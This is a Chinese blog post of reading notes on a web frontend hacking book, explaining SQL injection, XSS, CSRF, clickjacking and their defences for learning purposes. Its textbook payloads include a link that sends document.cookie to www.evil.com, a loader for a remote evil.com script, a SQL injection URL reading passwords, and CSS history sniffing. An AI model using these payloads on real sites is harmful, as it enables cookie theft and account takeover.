《web前端黑客技术揭秘》读书笔记

在项目中,往往更侧重的是前端业务逻辑,而对于web安全这块并没有过于关注。只是大概知道xsscsrf等术语,而具体的防范操作也只限于输入校验和表单提交增加_token字段。

最近在复习web安全这一块的内容,突然想起之前还没有看完的《web前端黑客技术揭秘》,因此重新翻阅,并整理相关笔记。

<!--more-->

1. web安全的关键点

1.1. SQL注入

常规的查询如

select * from users where uid = 1

其中uid参数来自于用户提交,

http://www.foo.com/user?uid=1

如果不做任何检测,则恶意用户可能构造另外的参数拼接sql查询语句

http://www.foo.com/user?uid=1 union select password, 1, 1, from users

则后台拼接的sql语句为

select * from users where uid = 1 union select password, 1, 1, from users

此时用户的密码就可能泄露。

1.2. XSS跨站攻击

假如业务代码里面存在下面逻辑

eval(location.hash.substr(1));

如果在站点的某个地方出现了一个非法用户构造的链接

http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/stea l.php?c="+escape(document.cookie)

则上面的业务代码就会背离预期执行目的,获取当前用户的cookie值,然后通过img的src请求发送到恶意站点上

1.3. CSRF跨站请求伪造

比如发现站点上某个功能存在sql注入的风险,但是该接口在后台进行了权限验证(只有指定用户如管理员才可以访问),这样就无法直接进行sql注入了。但是使用csrf就很可能成功

  • 提交包含这条恶意sql注入语句的后台功能链接(事先编码,隐蔽恶意目的)给管理员,比如发邮件、留言、评论等
  • 如果管理员登录了web应用,同时打开了这条链接
  • 由于浏览器在访问这条链接时会自动带上包含管理员的身份的cookie,这样就骗过了权限验证,执行sql注入

我们可以注意到csrf和xss的区别:

  • csrf会借用目标用户的权限做一些借刀杀人的事情
  • xss常用来盗取目标信息

1.4. 同源策略

同源策略是众多安全策略的一个,是web层面上的策略。同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读取对方的资源

上面的定义包含几个重要概念:

  • 同域要求两个站点同协议、同域名、同端口
  • 客户端脚本目前主要指JavaScript(之前还有ActionScript)
  • 授权指默认情况下,如果没有授权,则不允许跨域访问
  • web上的资源有的只有读权限(如referrer),有的有读写权限(如document.cookie)
  • 资源这个概念比较广泛,只要是数据,都可以认为是资源

在同一个域内,客户端脚本可以任意读写同源内的资源。

1.5. 社会工程学

通俗地说,社会工程学就是“骗”,即如何伪装攻击以欺骗目标用户

2. web安全中的前端

掌握前端基础是学习web安全中必不可少的环节。包括W3C标准、HTTP协议。

2.1. 基本点

URL

各种安全威胁都是班翠这URL的请求而进行的,如果客户端到服务端各层的解析没做好,就额能出现安全问题,需要注意URL的编码和解码形式

  • escape,返回字符的Unicode编码值;解码函数unescape
  • encodeURI,对整个URL进行编码,其他一些在网址中有特殊含义的符号"; / ? : @ & = + $ , #",不进行编码;解码函数decodeURI
  • encodeURIComponent,跟encodeURI类似,还会对上面的特殊符号进行编码;解码函数decodeURIComponent

关于URL编码,这里查到了一篇文章写得很详细:关于URL编码 - 阮一峰的网络日志

HTTP

除了基本的HTTP协议,web安全中还需要额外关注Set-Cookie的两个字段

  • httpOnly标志,表示Cookie存在HTTP层面,不能被客户端脚本读取
  • Secure表示,表示Cookie仅通过HTTPS协议进行安全传输

DOM

我们的隐私数据都可能存储在以下位置:

  • HTML内容中
  • 浏览器本地存储中,如cookies、localStorage等
  • URL地址中

这些都可以通过查找DOM获取到。

iframe

很多网站都通过iframe嵌入第三方内容,比如嵌入广告页面。

当攻击者入侵一个网站后,可以通过iframe嵌入自己的网马页面,用户访问该网站后,被嵌入的网马页面就会执行。

iframe之间的操作也存在同源策略限制。

HTML内嵌脚本

JavaScript除了出现在js文件中,也可以出现在HTML中的很多地方,比如script标签,HTML标签的on事件,以及一些标签的hrefsrc等属性的伪协议(javascript:;)上。

这样导致防御XSS变得比较棘手,执行的位置越多,则表示越有可能出现XSS漏洞。根据不同的执行位置,对应的防御方案都不太一样。

2.2. JavaScript

在浏览器中,用户发出的请求基本上就是getpost,而攻击也基本依赖于发起各种请求来实现自己的目的。

模拟get请求

对于get请求,实际上就是一个URL,方式有很多种

var url = 'http://xxx.com?cookie' + escape(document.cookie)
new Image().src = url
location.href = url

原理是相同的,通过JavaScript动态创建iframe、frame、script、link等标签对象,然后将他们的src或href属性指向目标地址即可

模拟post请求

可以通过form表单自提交的方式来模拟post请求。

其原理是通过JavaScript动态创建一个form,设置好form中每个input的键值,然后对form对象做submit操作即可。

此外ajax也是常用的模拟请求手段。

ajax

通过创建xhr然后发送网络请求,不仅是业务中常用的,也可以通过设置跨域,窃取用户的隐私数据。

安全起见,有些请求头的值只能由user agent设置

需要注意xhr对象可以设置的请求头,只是HTTP协议请求头的一个子集。如果任何请求头都可以通过JavaScript进行设置,那么前端的逻辑世界就混乱了。详情可以参考MDN文档

除此之外,部分响应头也是不能获取到的(比如Set-Cookie中可能包含httponly)。

另外一个需要注意的问题是:即使目标域不设置Access-Control-Allow-Origin,跨域提交的数据也可以被服务器接收到,只是浏览器会提示权限错误的问题。因为跨域本身就只是浏览器的限制而已。

Cookie

Cookie经常被用来存储用户的会话机制,保存用户的认证信息,因此攻击者特别喜欢盗取Cookie,这相当于盗取了在目标网站上的用户权限。

  • 子域cookie机制,设置cookie时如果不指定domain字段,则默认就是本域。可以通过修改domain实现不同子域共享cookie,随之而来的问题就是攻击者控制的其他子域也能读到这个cookie
  • 路径cookie机制,设置cookie时如果不指定path字段,则默认就是目标页面路径,但是可以通过iframe实现跨页面读取cookie,因此设置path不能防止重要的cookie被盗取
  • HttpOnly机制,当设置了HttpOnly标志后,客户端脚本就无法读写该Cookie了,这样能有效地防御XSS攻击获取cookie。
  • SecureCookie机制,当设置了SecureCookie标志后,对应Cookie仅在HTTPS层面上安全传输,这样能降低重要Cookie被中间人截获的风险
  • Cookie有效期,如果没有设置过期时间,则Cookie会随着浏览器的关闭从内存中消失;反之,Cookie会等待过期时间到了才会消失
  • Cookie的P3P性质

函数劫持

JavaScript的函数劫持很简单,只要在目标函数触发前,重写这个函数即可,类似于Function.prototype.before的实现

曾经的codument.writedocument.writeln均被劫持攻击过。

函数劫持在一定程度上可以自动化分析DOM XSS,可以动态解密一些混淆的代码。

2.3. CSS

CSS具有非常高的容错性。

在高级钓鱼攻击中,伪装出来的UI效果应该让人感觉就是真的。

CSS History攻击

利用:visited伪类技巧,准备一批常用的链接,然后设置他们:visited的样式(一般通过背景图的url发送一个get链接请求)。

#link-1:visited {background-image:url('http://foo.com?data=1')}

如果某个链接在之前被访问过(存在于历史记录中),那么:visited就会触发,这样攻击者就可以知道用户是否访问过对应链接。

属性选择符

CSS3提供了部分属性选择器,这样就可以筛选出部分表单选项,然后触发对应的请求。

3. 前端黑客之XSS

XSS即跨站脚本, 发生 在 目标 网 站 中 目标 用户 的** 浏览器** 层面 上, 当用户浏览器渲染整个 HTML文档的过程中出现了不被预期 的脚本指令并执行时, XSS就会发生。

在第一章已经简单介绍了XSS的例子,即利用前端代码漏洞在目标用户的浏览器上执行恶意脚本。

之所以被称为跨站脚本攻击,是因为攻击代码可能很长,更常规的是目标用户浏览器上的恶意脚本是去加载一个远程的、包含完整逻辑的攻击脚本.

比如先预先准备一段小的恶意代码

document. write("< script/ src=// www. evil. com/ alert. js></ script>")

当目标用户的浏览器在某种情况下执行了这行代码,就会加载完整的攻击脚本,从而发生攻击。

我们可以通俗的总结XSS为:想尽一切办法将你的脚本内容在目标网站中 目标用户的浏览器上解析执行即可。

3.1. XSS类型

反射型XSS

发送请求时XSS代码出现在URL中,作为输入提交到服务端,服务端解析后响应,在响应内容中出现这段XSS代码,最后浏览器解析执行,这个过程像一次反射,故被称为反射型XSS。

比如后台代码

echo $_GET['x];

如果用户点击了下面链接(比如来自于恶意攻击者构造的链接)

http://foo.com?x=<script>alert(1)</script>

则当浏览器解析html时,就会执行对应的script脚本内的内容。

存储型XSS

存储型XSS与反射型XSS的差别仅在于:提交的XSS代码会存储在服务端(通常是数据库),下次请求目标页面时不用再提交XSS代码。

比如一个留言板记录,而已用户提交了包含XSS代码的留言,后台将数据保存到数据库,当用户查看浏览板时,在渲染的页面上就包含了恶意的XSS脚本,浏览器解析执行时就触发了XSS攻击。

DOM XSS

这种类型的XSS代码并不需要服务器解析响应的直接参与,触发XSS依靠浏览器的DOM解析。

比如前面的那个例子,根据前端代码的漏洞

eval(location.hash.substr(1))

伪造包含攻击的链接

http://foo.com/index.html#alert(1)

如果用户点击了上面的链接,就会直接触发。

3.2. XSS的危害

可以看见,XSS主要是浏览器执行了非预期的JavaScript代码而产生的。

在浏览器端,JS可以做很多东西,比如盗取用户cookie、Dos客户端浏览器、劫持用户行为、广告等。

3.3. 防御XSS

// todo

4. 前端黑客之CSRF

XSRF是跨站请求伪造,攻击的发生是由各种请求造成的,对于CSRF来说,它的请求有两个关键点,跨站点和请求伪造。

  • 跨站点指的是目标网站的某个功能是由其他恶意站点发出的(实际上也可能来自于本站)
  • 请求伪造的定义是:如果请求的发出不是用户的本意,那么这个请求就是伪造的。

试想这样一个场景:目标站点A上存在一个删除文章的功能,这种功能一般需要用户点击“删除链接“时才会删除指定的文章。http://a.com/article/del?id=1

这样删除文章实际上就是发送一个GET请求,如果使用XSS,我们可以使用Ajax,或者动态创建一个标签对象修改src属性来实现。

但是如果网站上不存在XSS漏洞,则我们如何在恶意站点B上面实现删除文章的功能呢?

在站点B上面编写一个可以发送删除文章功能的GET请求,然后只需要欺骗站点A的用户访问站点B对应的恶意页面即可触发对应攻击。

4.1. CSRF原理

GET请求

浏览器有一个非常重要的安全策略,即同源策略,用来限制客户端脚本的跨域请求行为。但是,由客户端发情的HTML标签发出的跨域GET请求被认为是合法的(尽管并没有能力获得目标页面响应的数据内容),如果将这样的GET请求限制住,那么Web的世界就过于封闭了。

可以无JavaScript参与

在上面的例子中,只需要B站点的恶意页面上能够发送恶意的请求,就会触发攻击,这个请求可以由JavaScript构造get请求发出(比如动态生成Image对象),也可以直接由一个img标签发出。

请求是身份验证后的

在上面的例子中发送的GET请求报文中,除了请求来源Referer的值不一样之外,其他头部基本一致,尤其是Cookie值。这是因为浏览器在请求对应域名时,会自动携带该域名相关的Cookie。(IE需要在响应投不中设置了P3P,才允许跨域请求资源时携带对应的Cookie值)。

这是CSRF跨域请求伪造中,实现伪造最重要的一个环节。

POST请求

除了基本的GET请求外,也可以通过form表单自提交来实现post请求,来达到请求伪造的目的。

4.2. CSRF类型

HTML CSRF

许多HTML元素都可以发起请求,比如linkimgmetaiframescripta

此外CSS中的@importbackground:url()也可以发起一个简单的get请求。

由于同源策略,POST请求只能通过form提交的方式来实现。

JSON HiJacking

如果后台以JSONP的形式返回数据,则在恶意页面上可以自定义一个回调函数,然后再发送对应的JSONP请求到服务器,由于请求会携带用户身份信息,这样恶意页面上的回调函数就可以获取到对应的隐私数据。

flash csrf

flash的世界也遵循同源策略,由于现在flash已经逐渐被废弃了,因此这里暂且略过。

4.3. CSRF的危害

CSRF可以篡改目标网站上的用户数据、盗取用户的隐私数据等

5. 前端黑客之界面操作劫持

界面操作劫持是一种基于视觉欺骗的Web会话劫持攻击,通过欺骗用户的操作行为,执行恶意代码,在用户不知情的情况下窃取敏感信息,篡改数据等。

5.1. 类型

点击劫持

通过劫持用户的鼠标点击操作,主要在有重要会发交互的页面上

拖拽劫持

现代web应用中,有一些需要用户采用鼠标拖放完成的操作,这大大扩展了点击劫持的攻击范围。此外,拖放操作不受同源策略的限制,用户可以把一个域的内容拖放到另一个不同的域。

触屏劫持

移动智能终端设备由于体积的限制,一般都没有鼠标、键盘,可以采用类似于点击劫持的攻击模式,实现对用户触摸屏操作的劫持攻击。

5.2. 原理

前面提到的各种劫持操作的首要技术是在用户可见页面上覆盖一个不可见的框(可以理解为透明层 + iframe),然后通过定位等实现在用户点击页面上可见的UI,实际上触发的是透明层上的UI,从而实现操作劫持

5.3. 危害

界面操作劫持是一种社工色彩很强烈的跨域操作,他可以删除与篡改数据、偷取隐私甚至爆发蠕虫。

6. 漏洞检测和利用

6.1. 反射型XSS

这类XSS最需要注意的就是URL。通过构造恶意的URL,然后根据请求后的反应来看是否有弹出窗或者引起浏览器脚本错误。

一般服务端的输出可能有下面几处

  • HTML标签之间,这种情形只需要插入script脚本即可
  • HTML标签之内,如input标签的value值,此时可以通过"引号提前关闭value属性,然后绑定onmouseover等事件,或者直接闭合标签,插入script脚本
  • JavaScript的变量值,如果该变量值被eval执行了,则也会造成XSS攻击
  • CSS样式表的值,如控制某个字体大小,如果出现在css expression中,则也会造成XSS攻击

6.2. 存储型XSS

实际上存储型XSS和反射型XSS差别不大,我们需要研究的是服务端的输出到底在哪里

  • 表单提交后跳转到的页面可能是输出页面
  • 表单所在的页面可能是输出地
  • 去搜寻整个网站

6.3. DOM XSS

客户端逻辑实际上可以很复杂,尤其是很多人喜欢用各种JavaScript去动态生成一些DOM逻辑,这种复杂性可能导致DOM XSS能够意外地出现。

先了解DOM渲染的一些问题

  • HTML与JavaScript的自解码机制,指的是出现在HTML中的JavaScript标签(比如onclick等事件绑定),可以进行HTML形式的编码,在JavaScript执行之前,HTML形式的编码会自动解码
  • 具备HtmlRncode功能的标签,比如textarea、title、iframe、noscript等标签中的HTML是不会被解析的
  • URL编码差异,浏览器在处理用户发起请求时的urlencode策略存在差异,导致在某些场景中出现XSS漏洞
  • DOM修正式渲染,浏览器会在DOM渲染上进行各种修正,不同的浏览器进行的这种修正可能存在一些差异

然后是关于如何发现DOM XSS,可以参考下面这个网站

https://code.google.com/archive/p/domxsswiki/wikis/FindingDOMXSS.wiki

要尽力避免代码中比较常规的一些安全漏洞,比如eval等。

6.4. 混淆的代码

在浏览器中常用的进制混淆有八进制、十进制和十六进制

  • HTML和CSS中只能使用十进制和十六进制
  • JavaScript中可以使用八进制、十进制和十六进制

在前面已经提到了JavaScript中的三套编/解码函数,这里不再赘述

HTML中代码注入技巧

  • 标签,由于HTMLUAN的松散性和各个标签的不同优先级,使得我们可以创造出很多代码混淆或绕过方式
  • 属性,与标签类似,HTML标签中的属性同样也是大小写不敏感的,并且属性值可以用双引号、单引号引起来,甚至可以无引号
  • 伪协议,部分支持资源属性的标签,可以在其链接中使用伪协议(javascript:;vbscript:;data:;

比如在XSS攻击中,可以提前闭合标签或属性,来完成恶意代码的执行

CSS中代码注入技巧

  • 资源类属性可以通过伪协议来注入代码
  • expression,这是IE独有的CSS属性,可以插入并执行一段JS代码

JavaScript中代码注入技巧

当XSS出现在JavaScript代码的变量中时,我们只要顺利闭合之前的变量就可以了

// 原始代码
var a = "<?php echo $userinput ?>"

// 伪造输入
$userinput = 1"; aleret(1)"
// 则解析为
var a = "1"; aleret(1)""
  • 使用JSONP,可以从自定义的callback函数名入手。
  • 从编码入手,先进行进制转换,然后用eval来执行。

6.5. 漏洞利用

进行渗透之前,我们需要明确渗透目标环境是什么,目标用户是谁,达到攻击的预期效果是什么等。

  • 通过referer可以获取链接上某些私密信息
  • 浏览器记住的明文密码,通过DOM操作可以获取其中的密码,而且是明文
  • 键盘记录器,通过监听键盘事件,收集用户的输入信息
  • 检测数据接口,有的接口权限校验不完善,可以模拟数据接口提交
  • 书里面还介绍了很多其他方法,一下子有点缓不过来哈哈,后面再慢慢填坑。

6.6. HTML5

  • 通过HTML5的新标签,也可能穿过目标的过滤器名单,造成XSS攻击
  • 通过History新防范,可以通过短地址完美隐藏URL恶意代码,也可以伪造历史记录信息
  • CORS可以向任意网站发送跨域请求
  • 地里定位会造成用户的位置隐私暴露

6.7. Web蠕虫

web蠕虫的思想很简单,就是用户参与,然后用户被动或主动地传播了威胁。蠕虫的危害比较大

  • 可以批量对用户数据进行恶意操作,使目标网站面临巨大的信任危机
  • 拒绝服务攻击,对目标网站服务进行大面积的拒绝服务攻击,导致yoghurt无法正常使用网站功能
  • 分布式拒绝服务攻击,攻击目标是某个其他网站,如果所有被蠕虫感染的用户都想目标网站发起请求,则发起了DDos攻击。
  • 散播广告、传播舆论
  • 创博网页木马,网马内的二进制数据或脚本病毒植入操作系统本地执行

7. 如何防御

7.1. 浏览器厂商的防御

现代的浏览器都开始意识到安全问题,因此愿意去遵守W3C标准,包括

  • 扩展的X头部
    • X-Frame-Options
    • X-XSS-Protection
    • X-Content-Security-Policy
  • CSP(X-Content-Security-Policy)策略,对JavaScript、HTML、CSS进行分离

7.2. web厂商的防御

站点服务商需要评估自己的业务场景,然后给出合理的安全架构方案。

  • 域分离,将一些业务关联性较小的内容转移到了不相干的域中
  • 使用https进行安全传输,使用安全cookie,包括httpOnly和Secure
  • 使用验证码,防止XSS/CSRF非法提交
  • 谨慎使用第三方内容

7.3. XSS防御方案

假定一切输入都是有害的,那么在服务端的对策一般如下

  • 输入校验,包括长度限制、值类型是否正确,是否包含特殊字符
  • 输出编码,根据输出位置进行相应的编码,遵守该数据不要超出自己所在的区域,也不要被当作指令执行

我们只要清楚的知道用户输入到最终的输出整个过程的每个环节,保证最终输出是安全的。

7.4. CSRF防御方案

  • 检查referer字段是否同域,但是对来自于站点内的csrf攻击无效
  • 限制cookie的生命周期,在一定程度上缓解被csrf攻击的概率
  • 使用验证码,有效阻断csrf,缺点是用户体验比较差
  • 使用随机生成的一次性token
    • 首先在服务端生成一个唯一的token,然后会保留下来
    • 将token传递到页面上,通常是某个表单的隐藏字段中,并随着表单的提交而提交
    • 服务器会判断用户提交的表单是否有这个唯一的token

7.5. 界面操作劫持防御

使有重要会话的交互页面不允许被iframe嵌入,或者只允许被同于的iframe嵌入。

  • X-Frame-Options,浏览器会根据该字段判断网页是否可以被嵌入
  • Frame Busting 脚本防御,使用JavaScript对页面进行控制,达到页面无法被iframe嵌入的目的。
  • token防御,动态改变iframe的链接值

7.6. 用户的防御

  • 使用安全的浏览器组合
  • 遵守最小信任原则,不要使用通用密码啥的

8. 小结

花了两天时间大概又重新看了一遍,现在对于XSS和CSRF有了比较深刻的理解,而对应界面操作劫持的概念还并不是十分清楚,此外包括浏览器编码形式等内容,需要进一步加深。

web安全是前端中一个非常重要的地方,但在项目中并没有给予更多的关注,在以后的开发中,应该需要加强这方面的保障。